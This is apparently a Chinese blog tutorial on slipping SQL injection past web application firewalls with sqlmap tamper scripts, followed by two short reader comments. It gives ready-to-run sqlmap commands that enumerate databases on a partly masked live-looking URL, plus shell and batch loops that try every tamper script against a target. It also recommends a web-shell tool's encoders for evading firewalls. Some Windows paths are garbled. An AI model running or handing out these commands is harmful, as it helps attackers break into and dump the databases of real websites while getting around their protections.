许多情况下我们可以通过使用sqlmap中的tamper脚本来对目标进行更高效的攻击。tamper脚本的作用是修改我们发出的请求来防止其被WAF(网络应用防火墙)拦截。在某些情况你可能需要把一些脚本合并到一起才能过WAF。
脚本的完整列表地址在sqlmap/tamper。
使用方法是加参数--tamper name.py或--tamper name1.py,name2.py,name3.py……
简单用法示例:
c:\Python27\sqlmap>sqlmap.py -u "http://www.***.com/news/html/index.php?id=829" -v 3 --dbs --batch --tamper "space2morehash.py"
上面只是单一的用“--tamper ”这个参数来绕过WAF,以下再给大家详细的讲解讲解关于sqlmap绕WAF的问题,具体请向下看:
1、linux下sqlmap/tamper脚本位置:
2、win下sqlmap/tamper脚本位置:
通过上图可以看出:有那么多tamper脚本,Linux下该如何快速找出适合的?
一个一个来试是否是太累太费劲,而且对有些小白来讲很难记住每个tamper脚本具体是做什么用的?土司的lostwolf写了一个sh命令,可以在kali下直接依次使用每个tamper脚本,从而找到合适的。
该shell语句是:
for t in `ls /usr/share/sqlmap/tamper/*.py`; do echo -e "e[41;1m tamper: $te[0m"; sqlmap -u "http://192.168.1.100/sql.asp?id=1" --dbs --random-agent --smart --batch --tamper $t --threads 10;done;
结果如下:
sh语句简单说明:
--random-agent参数随机;random-agent 随机agent头 ;
--smart 智能机的方式;
--batch 默认选择接收输入;
echo -e "e[41;1m tamper: $te[0m"; 是为了红底白字显示当前使用的tamper脚本。
如果在windows下又怎么办呢?
我写了一个批处理,命令如下(sqlmap路径位置自行更改):
for /f "delims=" %%i in ('dir /b D:sqlmap amper*.py') do d:sqlmapsqlmap.py -u "http://192.168.1.100/sql.asp?id=1" --dbs --random-agent --smart --batch --tamper %%i --threads 10
当然这个方法也是有缺陷的,会非常粗暴地调用每个tamper脚本来试一次,并且不会组合脚本来测试了,所以大家如果能了解每个tamper脚本作用,精准的调用,会省力省时很多。
注意:不管以后做什么?绕过WAF最好的方法就是“编码”,具体可以看一下:中国蚁剑下载、安装、使用教程,它里面特意讲到了用编码器加密绕过WAF的问题。
2018年08月04日 16:14:14 沙发
对于那种检测到非法输入就屏蔽IP几分钟的WAF来说,这样基本没有用
2018年08月05日 20:33:17 1层
@john 怎么说呢?好比:矛盾这种关系吧!什么都没有绝对!